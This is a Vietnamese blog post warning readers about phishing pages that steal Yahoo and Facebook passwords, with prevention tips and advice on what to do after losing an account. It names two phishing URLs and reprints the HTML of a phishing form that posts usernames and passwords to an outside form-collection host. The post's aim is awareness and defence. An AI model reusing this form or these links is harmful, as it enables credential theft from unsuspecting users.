Home »

Nạn Ăn cắp mật khẩu Yahoo, Facebook - Cảnh báo và phòng ngừa

Thursday, March 14, 2013
Cảnh báo - Ăn cắp mật khẩu Yahoo
Trang lấy cắp tài khoản Yahoo. Click xem hình lớn hơn
Thời gian gần đây nhiều người bị mất cắp mật khẩu Yahoo, Facebook. Bằng nhiều chiêu thức và bằng nhiều cách bọn ăn cắp này có thể lấy cắp mật khẩu yahoo, Facebook, cũng như các mật khẩu của các tài khoản khác một cách dễ dàng nếu bạn không cẩn thận.

Chiêu thức phổ biến nhất hiện nay là gửi một đường link (Liên kết) đến một trang nào đó có ô điền TÊN ĐĂNG NHẬP và MẬT KHẨU Yahoo với một tin nhắn có thể là: "Bấm vào đây để xem một hình có mặt (anh/em) rất thú vị". 
Đây là một trang lấy cắp tài khoản Yahoo khác.


 Khi chúng lấy được mật khẩu của ai đó, chúng sẽ đăng nhập vào tài khoản đó và gửi tới những người bạn trong list bạn bè của người đó với nội dung tương tự hay khác chút và như vậy nguy cơ là sẽ có vô số tài khoản khác sẽ bị dính chưởng...
Hai trong số những đường liên kết mà mình biết được đó là http://xemblog.ucoz.net/ và http://3ndy.asia/2/. 
Bọn chúng sẽ gửi bạn một thông điệp và yêu cầu bạn bấm vào đường liên kết này và nhập tài khoản yahoo vào. Như vậy là bạn dính chưởng. Hình minh họa ở trên là của trang này đó các bạn ạ. Liên kết này mình có được từ một tài khoản của một người bạn đã bị mất trước đây và bọn chúng đã dùng nó để gửi mình một tin nhắn, nó yêu cầu mình đăng nhập yahoo qua trang đó để xem ảnh. Nhưng mình đã không làm thế, mình đã kiểm tra mã nguồn của nó thì thấy đoạn sau:
 ----------------------------------------------------------

<form action="http://xemblog1.pandaform.com/pub/x6zmfc" enctype="multipart/form-data" method="post">
<div class="workflow">
<div class=" step-step"><fieldset title="" class="gp ">
<p class="gp-help"></p>
<div class="gp-content">
<p class="medium fd _id_singleline single"><label for="singleline" class="fd-label">Tên Truy Nhập Yahoo<span class="required"></span><span class="fd-icon"></span></label><span class="content"><input type="text" value="" name="singleline" id="singleline"></span></p>
<p class="medium fd _id_singleline1 single"><label for="singleline1" class="fd-label">____Mật Khẩu_____<span class="required"></span><span class="fd-icon"></span></label><span class="content"><input type="password" value="" name="singleline1" id="singleline1"></span></p>
<p class="medium fd _id_singleline2 single"><label for="singleline2" class="fd-label">___Tên của Bạn___<span class="fd-icon"></span></label><span class="content"><input type="text" value="" name="singleline2" id="singleline2"></span></p>
</div>
</fieldset></div>
<div class="hidden"><input type="hidden" name="$action" value="_firstSubmitInstep"></div>
</div>
<div class="submit">
<button type="submit">VÀO XEM</button>
</div>
</form>
----------------------
Bạn để ý dòng màu tím trên không, lẽ ra nó phải đẫn tới một trang đăng nhập của yahoo nhưng nó lại dẫn tới một trang khác. Trang này chính là trang lưu lại mật khẩu và tên đăng nhập của bạn trên cơ sở dữ liệu của chúng.



Những người không cẩn thận sẽ bị dính chưởng ngay nếu bấm vào đường link đó và trao tên đăng nhập và mật khẩu cho bọn chúng.
Còn một chiêu thức nữa là gửi virus, nhưng chiêu thức này ít được dùng vì không mấy hiệu quả và sẽ bị phần mềm quét virus phát hiện ra ngay. Cả 2 chiêu thức trên đều dùng cùng một cách là phải gửi một đường link tới cho người khác, nhưng cách 1 vẫn là cách hay được bọn chúng sử dụng nhất và những người tò mò và nhẹ dạ cả tin là những người dễ bị dính nhất.
Vậy làm thế nào để khỏi bị mất mật khẩu của các tài khoản???
Theo kinh nghiệm của mình thì bạn nên làm theo cách sau:
  •  Mua phần mềm diệt virus bản quyền cài vào máy và nhớ cập nhật thường xuyên.
  •  Không bao giờ bấm vào các đường liên kết lạ, kể cả từ những người bạn quen biết gửi đến nếu bạn không xác minh được tính đúng đắn của nó.
  •  Không điền vào bất cứ Form nào tên đăng nhập và mật khẩu đăng nhập của mình nếu đó không phải trang của tài khoản mình đang sử dụng.
  • Không trao mật khẩu và tên đăng nhập cho bất cứ ai.
...
Còn nhiều điều khác nữa nhưng đó là những điều cơ bản.
Bạn sẽ làm gì khi bị mất mật khẩu và tên đăng nhập (Nói chung là quyền truy cập vào tài khoản)
- Đối với nhiều người mất quyền truy cập sẽ là một hiểm họa. Vì bọn ăn cắp mật khẩu có thể dùng tài khoản của bạn để làm những chuyện bậy bạ như: xin tiền, moi móc thông tin cá nhân của bạn, nói chung là đủ mọi chiêu mà chúng có thể nghĩ ra - chẳng tốt lành gì cả.
Vì vậy ngay khi mất quyền truy cập vào tài khoản bạn hãy thông báo ngay cho bạn bè của bạn và những người thân của bạn bằng tin nhắn hay bằng cách lập tài khoản khác hay bằng bất cứ cách nào mà bạn nghĩ ra. Để tránh người thân của bạn bị mắc lừa.

Một số người bạn của tôi cũng đã bị mất tài khoản vì bọn này và đã bị chúng lợi dụng xin tiền người thân, nên tôi viết bài này với mục đích nêu cảnh giác cho bạn khỏi mất tài khoản của mình.

Nếu bạn thấy bài này hữu ích hãy gửi cho bạn bè của bạn để giúp họ tránh bị mất mật khẩu.


Tags: , , , , , , , , ,
Code type Ad code

Comments[ 0 ]


Post a Comment

Code type Ad code